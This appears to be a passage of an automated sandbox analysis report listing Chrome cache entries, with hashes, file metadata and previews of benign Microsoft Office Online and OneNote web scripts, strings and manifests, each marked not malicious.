SSDEEP:	384:hGqrNR0CEbriF1uBPA6fCNa6gCOzhLU4UjYAlmSqoW7XlE4rOaxFVVTTk4vQZ:BZ2CEbriLUY6f76g5wYAEXe45xlkcS
MD5:	D53F18A8C88928CFDFDD4BA4E2171683
SHA1:	617F347179BFF6152D7FD34A6057CBBA0C4A7751
SHA-256:	F30ECA14B573D3F9013D09BF01F3FC93AD3BFC4D2D842EB82E76E3ACE0A5809E
SHA-512:	933F391B3B887BFDECEE542E2C9DAA43BEB2443150CEA1CD0FB1A6489897EC5DD96955F2BB058AFBD5FA82ECADE3CE82F2D2722A5FDB6F4C0D727037F1DC719F
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_App_Scripts/suiteux-shell/js/suiteux.shell.umc_mecontrol.js
Preview:	var shellPerformance=window.performance,HighResolutionTimingSupported=!!shellPerformance&&"function"==typeof shellPerformance.mark;HighResolutionTimingSupported&&shellPerformance.mark("shell_umc_mecontrol_start"),(self["suiteux_shell_webpackJsonp_suiteux-main"]=self["suiteux_shell_webpackJsonp_suiteux-main"]\|\|[]).push([["umc_mecontrol"],{50641:function(t,e,n){n.r(e),n.d(e,{UniversalMeControlConnector:function(){return M}});var o=n(54801),i=n(93814),r=n(87948),s=n(95422),a=n(31707);var l=n(90872),p=n(16968),h=n(47710);const d=5,u=500,c=1.5;function g(t,e,n,o){let i=document.createElement("script");if(i.src=window.O365ShellContext.TrustedTypesPolicies[h.TR].createScriptURL(t),i.crossOrigin="anonymous",i.async=!0,null!=e){i.onload=i=>{if(o){let r=Date.now()+200,s=()=>{o()?e(i):Date.now()>r?n({ResourceName:t,Details:12}):setTimeout((()=>{s()}),50)};s()}else e(i)},null!=n&&(i.onerror=(e,o,i,r,s)=>{n(function(t,e,n,o,i,r){let s;s="string"==typeof e?e:e.type;return{ResourceName:t,Details:`Scr

Chrome Cache Entry: 278

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	2309
Entropy (8bit):	5.31051083392544
Encrypted:	false
SSDEEP:	48:EqQWqtNWqwTY4TbiNWq5NWq8NWqUNWqProgAdwZq1n791RapkHTKNqMxNWqlFEyY:hQWq/Wqmb+WqLWqsWqUWq1Lq1nnsyHTb
MD5:	7B4A3E8FC940B12E9ECC3ADCA799020F
SHA1:	BA31129DDA9EEAC9E24B912D03C224C65FFF2FA8
SHA-256:	56F17673E80EF9A27F4241BE65CADB3C19FB8DB1D4F204D4C965E9D63A9D5EC7
SHA-512:	A7F9F7AE01E18647D275BC1CFDA10E4DD3F97EEBBF56DBCA3630FBA50197BED3733CD125CFF2D6BF3A2D8B2CD831450086350D056B58E33D685402E1AA5F7799
Malicious:	false
Reputation:	low
URL:	https://www.onenote.com/officeaddins/learningtools/?et=
Preview:	......<!DOCTYPE html>..<html lang="en-US">..<head>...<meta charset="utf-8">...<title></title>......<script type="text/javascript" src="https://cdn.onenote.net/officeaddins/161790740450_Scripts/CommonDiagnostics.js" crossorigin="anonymous"></script>...<script type="text/javascript" src="https://cdn.onenote.net/officeaddins/161790740450_Scripts/BrowserUls.js" crossorigin="anonymous"></script>.......<script>.....var EnableClientSideLogging = true;....</script>......<script type="text/javascript" src="https://ajax.aspnetcdn.com/ajax/jQuery/jquery-3.5.0.min.js"></script>...<script type="text/javascript" src="https://cdn.onenote.net/officeaddins/161790740450_Scripts/ExternalResources/js-cookie.js" crossorigin="anonymous"></script>...<script type="text/javascript" src="https://cdn.onenote.net/officeaddins/161790740450_Scripts/pickadate.min.js" crossorigin="anonymous"></script>...<script type="text/javascript" src="https://cdn.onenote.net/officeaddins/161790740450_Scripts/Instrumentation.js" c

Chrome Cache Entry: 279

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2224), with no line terminators
Category:	dropped
Size (bytes):	2224
Entropy (8bit):	5.029670917384203
Encrypted:	false
SSDEEP:	48:iYyhna6311NDG9e1ctrSmz6usES0da3RhRDh79nFzFnpR4RYhQyYSI:iYenaUG0aB+qahhRDh79nFzFn/cYhQy4
MD5:	96EC242EA2E25558F7EC13FA88D9D793
SHA1:	B0BB7F6BD5206CC1FFB572CBD4A6AD2F88D42433
SHA-256:	850C54CE960E710757379C19601C65C00CF7D485063115F34AA30AE193CCEA43
SHA-512:	8C732012F96C7A9B4434F1BC27262A07080F05FCDF54E64B9CB4F37C20D3D8A85FAC2387C934798056D137B03F918D5CE4847C835CC013EDD4485686993D5F4F
Malicious:	false
Reputation:	low
Preview:	OfficeBrowserFeedback.setUiStrings({FeedbackSubtitle:"Send Feedback to Microsoft",PrivacyStatement:"Privacy Statement",Form:{CommentPlaceholder:"Please do not include any confidential or personal information in your comment",CategoryPlaceholder:"Select a category (optional)",EmailPlaceholder:"Email (optional)",RatingLabel:"Rating",ScreenshotLabel:"Include screenshot",Submit:"Submit",Cancel:"Cancel",EmailCheckBoxLabel:"You can contact me about this feedback",PrivacyConsent:"IT admins for your organization will be able to view and manage your feedback data.",PrivacyLabel:"By pressing submit, your feedback will be used to improve Microsoft products and services. ",ScreenshotImgAltText:"Screenshot Preview"},SingleForm:{Title:"Please provide feedback"},SmileForm:{Anchor:"I like something",Title:"What did you like?"},FrownForm:{Anchor:"I don't like something",Title:"What did you not like?"},IdeaForm:{Anchor:"I have a suggestion",Title:"What do you suggest?"},BugForm:{Anchor:"File a bug",Titl

Chrome Cache Entry: 280

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (29013)
Category:	dropped
Size (bytes):	384082
Entropy (8bit):	4.8407404546884
Encrypted:	false
SSDEEP:	3072:xs7O1FxkYF/YDP3VeftWqldpPkTGzHx1AHLRobPRGe+Wqddp4sXfsXJsGC7ag/2v:aq1FWVJGDZxg0Gfbje
MD5:	09CBE2E81826118D5836127869D213DC
SHA1:	08B7CC01AFF80C77C798AC1A0483EE5092EB6A07
SHA-256:	CE87FC076CCEFF245E049A580AAA2831144941695E4E5EA897FEAB0DF89B458F
SHA-512:	738ED0F782972D41724BB53BA91F195F52923B4B1F2125BDDBED4CC6B0DE992FC9F62AA4899DFDA97FFF31926425ECEED34640E8E435B45F7D17CD8FA05EC183
Malicious:	false
Reputation:	low
Preview:	var OnenoteRibbonStrings={About:"About",AboutKeytip:"D",Accessibility:"Accessibility",AddInsKeytipPrefix:"Y",AdditionalControls:"Additional Controls",AlignLeft:"Align Left",AlignLeftKeytip:"AL",AlignRight:"Align Right",AlignRightKeytip:"AR",AltText:"Alt Text",AltTextKeytip:"E",AltTextTableStandalone:"Edit Table Alt Text",AudioTabTitle:"Record & Playback",AutoCorrectOptions:"AutoCorrect Options...",AutoCorrectOptionsKeytip:"AC",Automatic:"Automatic",AutomaticKeytip:"A",Back15Seconds:"Back 15 Seconds",Back15SecondsKeytip:"B",Bold:"Bold",BoldKeytip:"1",BrowseVersions:"Page Versions",BrowseVersionsKeytip:"V",BulletLibraryTitle:"Bullet Library",BulletStyle1:"Solid",BulletStyle1Keytip:"S",BulletStyle2:"Hollow",BulletStyle2Keytip:"H",BulletStyle3:"Square",BulletStyle3Keytip:"B",ButtonOfficeAddins:"Office Add-ins",CentimeterUnitPlaceholder:"{0} cm",Checklist:"Checklist",ChecklistKeytip:"CL",BulletedList:"Bulleted list",BulletedListKeytip:"BL",NumberedList:"Numbered list",NumberedListKeytip:"NL

Chrome Cache Entry: 281

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	2797
Entropy (8bit):	5.163102719637998
Encrypted:	false
SSDEEP:	48:c2Ax81yLGQoDXNJ1CiVc+sv+sYz4zEf0O0XvmEkY2LFd/NEeUEEZDEs6l:7AMyaQoDXbNvs2sYz4zy9c+EkhDNEDEh
MD5:	C588E014A7A269C048B7F28D72220900
SHA1:	ACC610BB4338B9207BFE8293DF35C07BCAB82648
SHA-256:	03C6DD0C23B808AC239AAEA3F3E8E7943128633D6048CEDE869CB2FE67A842E5
SHA-512:	24336D0DC93669ACFC98D07357C177759DE1FC25B963962D389A107969B8C645991E6B419D505C42DF118439E8C2F1C60164A0ADDC25F6EA86481F36CFD0E036
Malicious:	false
Reputation:	low
URL:	https://fa000000012.resources.office.net/033f92d3-bc6d-439a-858a-a17acf70360a/1.0.2312.18001/en-us_web/manifest_web.xml
Preview:	<?xml version="1.0" encoding="UTF-8"?>..<OfficeApp xmlns="http://schemas.microsoft.com/office/appforoffice/1.1" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:bt="http://schemas.microsoft.com/office/officeappbasictypes/1.0" xmlns:ov="http://schemas.microsoft.com/office/taskpaneappversionoverrides" xsi:type="TaskPaneApp">.. <Id>93155735-fd84-4d6f-9433-305bdb6cb523</Id>.. <Version>1.0.0.0</Version>.. <ProviderName>Microsoft Corporation</ProviderName>.. <DefaultLocale>en-US</DefaultLocale>.. <DisplayName DefaultValue="Help" />.. <Description DefaultValue="In-App Help provided by support.office.com" />.. <IconUrl DefaultValue="https://support.office.com/images/inapp-help-icon-32.png" />.. <HighResolutionIconUrl DefaultValue="https://support.office.com/images/inapp-help-icon-80.png" />.. <SupportUrl DefaultValue="http://support.office.com" />.. <AppDomains>.. <AppDomain>https://login.live.com</AppDomain>.. <AppDomain>https://login.live-int.com</AppDomain>.. <

Chrome Cache Entry: 282

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	E0AA021E21DDDBD6D8CECEC71E9CF564
SHA1:	9CE3BD4224C8C1780DB56B4125ECF3F24BF748B7
SHA-256:	565339BC4D33D72817B583024112EB7F5CDF3E5EEF0252D6EC1B9C9A94E12BB3
SHA-512:	900110C951560EFF857B440E89CC29F529416E0E3B3D7F0AD51651BFDBD8025B91768C5ED7DB5352D1A5523354CE06CED2C42047E33A3E958A1BBA5F742DB874
Malicious:	false
Reputation:	low
Preview:	OK

Chrome Cache Entry: 283

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	543128
Entropy (8bit):	5.291766581921227
Encrypted:	false
SSDEEP:	6144:QRUEv/Cr0k9Dxe4uJqrRI75FqHYW6Q7x2zcaObDjJB0Q9UMXvBAVMF1:QRUEnCr0kxxCrqHYW6UUqKMXvBBH
MD5:	C39D20120362B9648DADA8C4A2DE4CBE
SHA1:	69AF12BF5D413CC66C27C21FA887551FBD85A6FB
SHA-256:	8033C6C68BA67450F7231BA814D2FF30D275238C089C2D065C9C65832695E331
SHA-512:	A833AE74014FF88124FBB25E32136030DCE97ACDCED6FCA6CFDFA3D0A02FAAE45ED43D39369BE7E62ED4F1FB51C32C4963E0ADF2A93DE7CC83AC237F0D965B45
Malicious:	false
Reputation:	low
Preview:	!function(e){if("object"==typeof exports&&"undefined"!=typeof module)module.exports=e();else if("function"==typeof define&&define.amd)define([],e);else{("undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:this).augLoop=e()}}((function(){return function e(t,n,o){function r(a,s){if(!n[a]){if(!t[a]){var u="function"==typeof require&&require;if(!s&&u)return u(a,!0);if(i)return i(a,!0);var c=new Error("Cannot find module '"+a+"'");throw c.code="MODULE_NOT_FOUND",c}var l=n[a]={exports:{}};t[a][0].call(l.exports,(function(e){return r(t[a][1][e]\|\|e)}),l,l.exports,e,t,n,o)}return n[a].exports}for(var i="function"==typeof require&&require,a=0;a<o.length;a++)r(o[a]);return r}({1:[function(e,t,n){"use strict";var o=e("exportStarHelper");Object.defineProperty(n,"__esModule",{value:!0}),o(e(2),n)},{2:2}],2:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.isStopWorkflowMessage=n.setStopAndFilterWorkflowMessage=n.setMessageE

Chrome Cache Entry: 284

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	985
Entropy (8bit):	5.175336884396651
Encrypted:	false
SSDEEP:	24:2dQ4+A88T+Uy8+QQIWZdLIQAEJAoImLFJ1002ev+Es:cWA886hPtIWPIQlJwUFJ1005v+d
MD5:	605C6BD48B2AB0262C0113445494FF4C
SHA1:	00CC6621252EB4930486F4837638A0524E5C77E9
SHA-256:	405497AC72ADA72A30277E2493A9B00B999DF6CE1B425167B8C405AF45EF0338
SHA-512:	53993F9A6359C167302F14F272BF9D8897C2508DF9EFEC38DE1754F9B8737A621C482177981DE9702BEEAC54ACC2EEB1AB166A24533AC2A6FEA7E7C6244AD4F9
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>..<OfficeApp xmlns="http://schemas.microsoft.com/office/appforoffice/1.1".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. xmlns:bt="http://schemas.microsoft.com/office/officeappbasictypes/1.0".. xmlns:contentappor="http://schemas.microsoft.com/office/contentappversionoverrides".. xsi:type="ContentApp">.... <Id>bf3a711e-f669-4fd5-8d73-100223695f2b</Id>.. <Version>1.0.0.4</Version>.. <ProviderName>lijia</ProviderName>.. <DefaultLocale>en-US</DefaultLocale>.. The display name of your add-in. Used on the store and various placed of the Office UI such as the add-ins dialog -->.. <DisplayName DefaultValue="Office first party apps sandbox" />.. <Description DefaultValue="Office first party apps sandbox" />.... <Hosts>.. <Host Name="Document"/>.. </Hosts>.... <DefaultSettings>.. <SourceLocation DefaultValue="index.html" />.. </DefaultSettings>.... <Permissions>ReadWriteDocument</Permissions>..</OfficeApp>

Chrome Cache Entry: 285

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	175719
Entropy (8bit):	4.255303968193695
Encrypted:	false
SSDEEP:	1536:0hEjBUBvBrBXBWBIBXBXBaBIBQBbBnBgAfBRBbB3BjBTBDBvBHBPBPBxBBBHB6ST:/RYAQ+
MD5:	9CFEFB2D46D6102DAC2A24C606F47FEA
SHA1:	076B63F4F46CE28648201E2507BBC67FB4F990C5
SHA-256:	43C5939CB732D8AA2D20FCE97F359F46B7C3B937E60ED576B752AE0A2E73314F
SHA-512:	C56812F0A9DCBC53E8AFA542923F20E911DE172C1D87B9868DB42A01F2FC303BBECE6509925E43E8F877DC8A3C7904FAE731C1C19BD35B5FAD18582B7498E24D
Malicious:	false
Reputation:	low
Preview:	var __extends = (this && this.__extends) \|\| (function () {.. var extendStatics = function (d, b) {.. extendStatics = Object.setPrototypeOf \|\|.. ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) \|\|.. function (d, b) { for (var p in b) if (b.hasOwnProperty(p)) d[p] = b[p]; };.. return extendStatics(d, b);.. };.. return function (d, b) {.. extendStatics(d, b);.. function __() { this.constructor = d; }.. d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());.. };..})();..var OfficeExtension;..(function (OfficeExtension) {.. var WacRuntime;.. (function (WacRuntime) {.. var ApiFlags;.. (function (ApiFlags) {.. ApiFlags[ApiFlags["none"] = 0] = "none";.. ApiFlags[ApiFlags["restrictedResource"] = 4] = "restrictedResource";.. ApiFlags[ApiFlags["makerSafe"] = 128] = "makerSafe";.. ApiFlags[ApiFlags["excludedF

Chrome Cache Entry: 286

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (1592)
Category:	downloaded
Size (bytes):	4361
Entropy (8bit):	5.015343620789157
Encrypted:	false
SSDEEP:	96:6QW+RXubWqFK+3a74P1LPc5ZGjmnjKufo+WrQavWokRgbh:6QDR+bWqsoJP1LPwGCnjKZAch
MD5:	6FFA8730D444E69CCE6636FF3FF0281F
SHA1:	99A0BAF2B0AEF4659AD243D16D47BDCD4C8AFB54
SHA-256:	4605AA02B66C4F22E2C9C1A8686308E92EBA36E1C1E2966E1728CE67442746A1
SHA-512:	D538EC46219C291F6B74773718267465CCDA38DC1F50186BFDB02ABAEC7B52402BCAFA1B628518127A38708D4986C32D57AB0C4423F6BACB2264EE68D3C59BBD
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/files/odsp-web-prod_2024-06-28.014/wacowlhostwebpack/en-us/ondemand.resx.js
Preview:	"use strict";(self.odspNextWebpackJsonp=self.odspNextWebpackJsonp\|\|[]).push([["ondemand.resx"],{737:e=>{e.exports=JSON.parse('{"b":"Pick a file\|\|Pick files","a":"1\|\|2-","d":"Pick a folder\|\|Pick folders","c":"1\|\|2-","f":"Pick an item\|\|Pick items","e":"1\|\|2-"}')}.,693:e=>{e.exports=JSON.parse('{"a":"My files"}')}.,694:e=>{e.exports=JSON.parse('{"c":"Couldn\\u0027t load the share experience. Please try again later.","b":"Share","a":"Loading share dialog"}')}.,848:e=>{e.exports=JSON.parse('{"f":"{0} TB","c":"{0} GB","e":"{0} MB","d":"{0} KB","a":"{0} bytes","b":"1 byte","g":"< 0.1 GB"}')}.,684:e=>{e.exports=JSON.parse('{"m":"Open in Word","h":"Open in Project","b":"Open in Excel","g":"Open in PowerPoint","e":"Open in OneNote","k":"Open in Visio","i":"Open in Publisher","c":"Open in InfoPath","l":"Open in Word Online","f":"Open in PowerPoint Online","a":"Open in Excel Online","d":"Open in OneNote Online","j":"Open in Visio Online"}')}.,819:e=>{e.exports=JSON.parse('{"g":"Are you sure you wa

Chrome Cache Entry: 287

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65535), with no line terminators
Category:	dropped
Size (bytes):	112261
Entropy (8bit):	5.13097356220368
Encrypted:	false
SSDEEP:	1536:F3aTm6ALG5SH04NcnOxtCDpdziaoIl3fKF1cEilqVcAd:wa+nuE2aoIl3fK4lCc8
MD5:	1DC889AC693F912C263AA6D27A258A93
SHA1:	B2100EA2AEE5ED5FD90E0331F26160CDD5D1B002
SHA-256:	9224E5240ABC039D55CB765EA6611F07BA95F5E59C05DA325C968470946C6E52
SHA-512:	49654A757D9C5CFD838848AF856B2A0D9FE9960CEED297E4244F948E42441506B7502DBED1236448BFF09EF4444FDF20A25197DC7E55FC4394EB2ED70CB1B0ED
Malicious:	false
Reputation:	low
Preview:	var onenoteink;(()=>{"use strict";var t={699:t=>{var e,i="object"==typeof Reflect?Reflect:null,n=i&&"function"==typeof i.apply?i.apply:function(t,e,i){return Function.prototype.apply.call(t,e,i)};e=i&&"function"==typeof i.ownKeys?i.ownKeys:Object.getOwnPropertySymbols?function(t){return Object.getOwnPropertyNames(t).concat(Object.getOwnPropertySymbols(t))}:function(t){return Object.getOwnPropertyNames(t)};var o=Number.isNaN\|\|function(t){return t!=t};function s(){s.init.call(this)}t.exports=s,t.exports.once=function(t,e){return new Promise((function(i,n){function o(i){t.removeListener(e,s),n(i)}function s(){"function"==typeof t.removeListener&&t.removeListener("error",o),i([].slice.call(arguments))}g(t,e,s,{once:!0}),"error"!==e&&function(t,e,i){"function"==typeof t.on&&g(t,"error",e,{once:!0})}(t,o)}))},s.EventEmitter=s,s.prototype._events=void 0,s.prototype._eventsCount=0,s.prototype._maxListeners=void 0;var r=10;function a(t){if("function"!=typeof t)throw new TypeError('The "listener

Chrome Cache Entry: 288

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (14666), with no line terminators
Category:	dropped
Size (bytes):	14666
Entropy (8bit):	5.192998441009612
Encrypted:	false
SSDEEP:	192:9dbIGOqZ05GyaKzhRCwqyf/q2E+Rh99TzlfVNyv83+LBoaWLNwGfiC8O5PPM:9BiUQhRVfye99Pl9483+LBoaWLqv
MD5:	8880E957219B056B26B67D88CB7FFFF5
SHA1:	BE024ABFE99C2DC447191E2C59DD96FD9352E2C4
SHA-256:	4BBB0DBB03A136E993BB2FB363455E7DCABF84CBB17DE37AD6168B9326E56909
SHA-512:	1E611B1C8D3B7DE4CEE215C989885A6F8256B89A51621B77598A9A363AAF2897FC439DD73860234BA77AB682B84D05437CE0DBBDA59C3C1B5CC9D16662897EC5
Malicious:	false
Reputation:	low
Preview:	if("undefined"!=typeof jSanity)throw"jSanity has been defined, please check if there's any duplicate reference.";jSanity={},function(e){"use strict";var t={inputString:"",maxWidth:"600px",maxHeight:"200px",overflow:"hidden",allowLinks:!0,linkClickCallback:null,customProtocols:{},allowRelativeURLs:!1,allowAudioVideo:!1,unsupportedContentCallback:null,externalContentCallback:function(e,t,r,o){var i;if("attribute"===e&&"src"===t)for(var n in o)if(o.hasOwnProperty(n)&&r.substring(0,n.length)===n){i=!0;break}return i\|\|(r="CSSURL"===e?'url("about:blank")':"about:blank"),r},isolatedTargetDOM:!1,directModifySource:!0,attributePrefix:"jSanity",dataAttributeCallback:null,debugLevel:0,onFinishedCallback:null},r=function(){this.sync=!0,this.jobs=[],this.id=r.globalId++,this.listnerPosfix=0,this.onCompletedListners={},this.onNewJobAddedListners={},this.useSync=function(){this.sync=!0},this.useAsync=function(){this.sync=!1},this.addNewJob=function(e){for(var t in this.jobs.push(e),this.onNewJobAdded

Chrome Cache Entry: 289

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1295197
Entropy (8bit):	5.526083231571729
Encrypted:	false
SSDEEP:	24576:aBVbsxDxy73HqrHIQNjTzSjFZes0JR+Msv4gWWOGeI+fPRkaXu2tt:MVbqDxy73KrHI0H2jFZes0JR+Msv4gWJ
MD5:	D2182DC18D660152ABFBFF8D08463305
SHA1:	CD23B02632470B8F58E6514FEB049C26F2D1A3AC
SHA-256:	4EC5F32188EFC44E3A85C5858CA60D68697A82785D35FAE597E461E242A3AC4A
SHA-512:	20912BE43971AE9452EAF53EAFF445570D0A6477071C2A701172F0556D01D023B383C92122993DA85E16B57A23FA0460971E42146FECD39F21777113F8F4182F
Malicious:	false
Reputation:	low
Preview:	function _define_property(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function _object_spread(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{},o=Object.keys(n);"function"==typeof Object.getOwnPropertySymbols&&(o=o.concat(Object.getOwnPropertySymbols(n).filter((function(e){return Object.getOwnPropertyDescriptor(n,e).enumerable})))),o.forEach((function(t){_define_property(e,t,n[t])}))}return e}function ownKeys(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,o)}return n}function _object_spread_props(e,t){return t=null!=t?t:{},Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(t)):ownKeys(Object(t)).forEach((function(n){Object.defineProperty(e,n,Object.getOwnPropertyDescriptor(t,n))})),e}function _object_wi

Chrome Cache Entry: 290

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (30249)
Category:	dropped
Size (bytes):	30301
Entropy (8bit):	5.2599905435358565
Encrypted:	false
SSDEEP:	768:Ztbtn0SMB/2ZsJIjrAWJdvgmfQFc6mjVqMP62A86uIz3yR:Zph0S0/ks2JdImYFcw662A86vzyR
MD5:	BAD10E8FEFA172E8745A15FDE77343D6
SHA1:	C1CE893D2E23BE26A5B372A7F808A07F28DA496E
SHA-256:	20FB05466E7EC0422E41A5F160F34C869934786862F42A206C2FA3A3B08903A0
SHA-512:	9DAF3FE49C99648B4205B0831D7E767531A997329C5C46D6CE80C276346D4B28697F4365D53DCD36E15D1EA471206B4D597C7D3EBD0FD01F507226C8B7A17D98
Malicious:	false
Reputation:	low
Preview:	window.MSA=window.MSA\|\|{};window.MSA.MeControl=window.MSA.MeControl\|\|{};window.MSA.MeControl.Config={"ver":"10.24086.4","mkt":"en-US","ptn":"onenoteonline","gfx":"https://amcdn.msftauth.net","dbg":false,"aad":true,"int":false,"pxy":true,"msTxt":false,"rwd":true,"telEvs":"PageAction, PageView, ContentUpdate, OutgoingRequest, ClientError, PartnerApiCall, TrackedScenario","instKey":"b8ffe739c47a401190627519795ca4d2-044a8309-9d4b-430b-9d47-6e87775cbab6-6888","oneDSUrl":"https://js.monitor.azure.com/scripts/c/ms.shared.analytics.mectrl-3.gbl.min.js","remAcc":true,"main":"meBoot","wrapperId":"suiteshell","cdnRegex":"^(?:https?:\\/\\/)?(mem\\.gfx\\.ms(?!\\.)\|controls\\.account.microsoft?(?:-int\|-dev)?(\\.com)?(:[0-9]{1,6})\|amcdn\\.ms(?:ft)?auth\\.net(?!\\.))","timeoutMs":30000,"graphv2":false,"graphinfo":{"graphclientid":null,"graphscope":null,"graphcodeurl":null,"graphredirecturi":null,"graphphotourl":null},"aadUrl":"https://myaccount.microsoft.com","msaUrl":"https://account.microsoft.com/",

Chrome Cache Entry: 291

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	99914B932BD37A50B983C5E7C90AE93B
SHA1:	BF21A9E8FBC5A3846FB05B4FA0859E0917B2202F
SHA-256:	44136FA355B3678A1146AD16F7E8649E94FB4FC21FE77E8310C060F61CAAFF8A
SHA-512:	27C74670ADB75075FAD058D5CEAF7B20C4E7786C83BAE8A32F626F9782AF34C9A33C2046EF60FD2A7878D378E29FEC851806BBD9A67878F3A9F1CDA4830763FD
Malicious:	false
Reputation:	low
URL:	https://ecs.office.com/config/v1/CHILL/0.0.12?disableexperiments=true&disablerollouts=false&Agent=ChillWAC&Platform=Web&Host=SharePoint%20Online&Audience=Production&TenantId=ccdc4ebe-1888-499b-9e73-bbbd560179ed&Application=OneNote&version=16.0.17903.41012&language=en-US
Preview:	{}

Chrome Cache Entry: 292

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (30497), with no line terminators
Category:	downloaded
Size (bytes):	30497
Entropy (8bit):	5.0064253326064065
Encrypted:	false
SSDEEP:	384:NpM3QZmZwe3CDLqHOGRvCEWMYdd9KaAQnzkY65dv:NpM3QZbLqHO4XYdd9KvQnzkY65dv
MD5:	E55F3C2F2F2F2A339E4B0A08030E9803
SHA1:	729D608C534829E07F5DCDBBD75BBC031A9E9D9A
SHA-256:	40CBE329851D4261E0E4A3B3665FD1025747AAC3CBFD87689CF3F2689CACF4E9
SHA-512:	CB67A880ECAA6F59844F6604BB98A7E27AB64F639AC79BA683C164A2A809BFAF1D3B224CC50138846B8646EF05409820AEE490BA83D637145E16A78E67CF4847
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/h40CBE329851D4261_App_Scripts/1033/WoncaIntl.js
Preview:	Type.registerNamespace("WoncaIntl");WoncaIntl.WoncaStrings=function(){};WoncaIntl.WoncaStrings.registerClass("WoncaIntl.WoncaStrings");WoncaIntl.WoncaStrings.L_RibbonLabel="Ribbon";WoncaIntl.WoncaStrings.L_TabHome="Home";WoncaIntl.WoncaStrings.L_TabInsert="Insert";WoncaIntl.WoncaStrings.L_TabWordDesign="Design";WoncaIntl.WoncaStrings.L_TabReferences="References";WoncaIntl.WoncaStrings.L_TabMailings="Mailings";WoncaIntl.WoncaStrings.L_TabReview="Review";WoncaIntl.WoncaStrings.L_TabView="View";WoncaIntl.WoncaStrings.L_TabDeveloper="Developer";WoncaIntl.WoncaStrings.L_TabAddIns="Add-ins";WoncaIntl.WoncaStrings.L_TabTableTools="Table Tools";WoncaIntl.WoncaStrings.L_TabLayout="Layout";WoncaIntl.WoncaStrings.L_TabPictureTools="Picture Tools";WoncaIntl.WoncaStrings.L_TabFormatPicture="Format";WoncaIntl.WoncaStrings.L_TabDesign="Design";WoncaIntl.WoncaStrings.L_TabHelp="Help";WoncaIntl.WoncaStrings.L_GroupUndoRedo="Undo";WoncaIntl.WoncaStrings.L_GroupClipboard="Clipboard";WoncaIntl.WoncaString

Chrome Cache Entry: 293

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65308), with no line terminators
Category:	downloaded
Size (bytes):	272739
Entropy (8bit):	5.705895975674643
Encrypted:	false
SSDEEP:	6144:hyV/ufsP+7xZPujS3wiGAuYboyDVWxeO0cJxG1AB6:MWfsEXPujGkRYboVxeO0cJxG1AB6
MD5:	A61058AE32D3E596C6334216C2F67E0D
SHA1:	5A6D09E2A61F81CF22BCCAD8BF7F483D20A8FB21
SHA-256:	D27393D92C7BC61C82993AD0F2A88DB0E67E6126DF092DF9D9FDE98F3B9A958A
SHA-512:	3C6A36B0E8680F8F64C9D7EFC159EAD6E59F4DE3A341B6B1A0FD5E736DADE200F0908E285AE40CB999BAFE49E762509023695E0890718D71792C6BEB45E48839
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_App_Scripts/suiteux-shell/js/suiteux.shell.core.js
